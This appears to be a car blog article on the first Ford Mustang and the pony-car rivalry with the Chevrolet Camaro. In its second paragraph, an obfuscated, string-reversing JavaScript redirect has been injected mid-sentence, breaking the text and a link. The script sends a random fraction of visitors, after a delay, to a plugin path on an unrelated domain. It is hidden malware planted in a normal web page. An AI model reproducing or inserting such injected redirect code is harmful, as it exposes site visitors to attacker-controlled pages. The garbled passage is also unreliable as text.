Back in the day, labelling a muscle car was not as cut and dry as perhaps it is today: stick a big shouty engine under a long bonnet and add a dash of chrome here and there, then just step back and wait for the ‘beast’, ‘brutal’ and ‘fiercesome’ adjectives to come rolling in.
Take the steroid-infused $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/american-muscle-on-steroids-chevrolet-camaro-zl1/” target=”_blank”>Chevrolet Camaro ZL1, for example. crankandpiston went for a spin in the two-seater not too long ago, and words like ‘vicious’, ‘unleashed’ and ‘power’ were quick to emerge. That’s hardly surprising, given the 6.2-litre V8 pulsating under the bonnet throwing out 580bhp and 556lb-ft of torque. Debate still rages throughout the crankandpiston office whether the car itself moves or whether the earth is spun on its axis by the torquey brute.
Jump back 50ish years though, and – astonishingly(!) – things were slightly different. True, like today the Camaro’s principal rival was the Ford Mustang, but given their small stature and penchant for mainly running straight-sixes, the term ‘muscle’ was rarely thrown their way. Indeed, it is the first generation of the Mustang (in 1964) that first heralded the term ‘pony car’: no V8, no muscle.
It’s difficult to define a niche, and yet Ford’s newest baby did just that. The demise of the two-seater Ford Thunderbird – pretty as it was though not a runaway seller – led to the boys and girls at the Ford easels scratching their nouses and wondering how they could bring a new, sporty compact car to the waiting masses.
The result? The Mustang. And with it came some hitherto iconic features of the pony car.
First there was the looks, namely a low stance, a long bonnet, classic lines and a gaping front grille, all of which were guaranteed to turn heads and drop jaws. But at the same time, the car was compact and…maybe not cheap but certainly affordable for most American 2.5 children families and young buyers, most of whom took immediate interest.
Naturally, no car manufacturer was about to stand for that. It wasn’t too long before the Plymouth Barracuda and AMC Javelin rocked up on the scene, but most eyes were on the brand new Chevrolet Camaro.
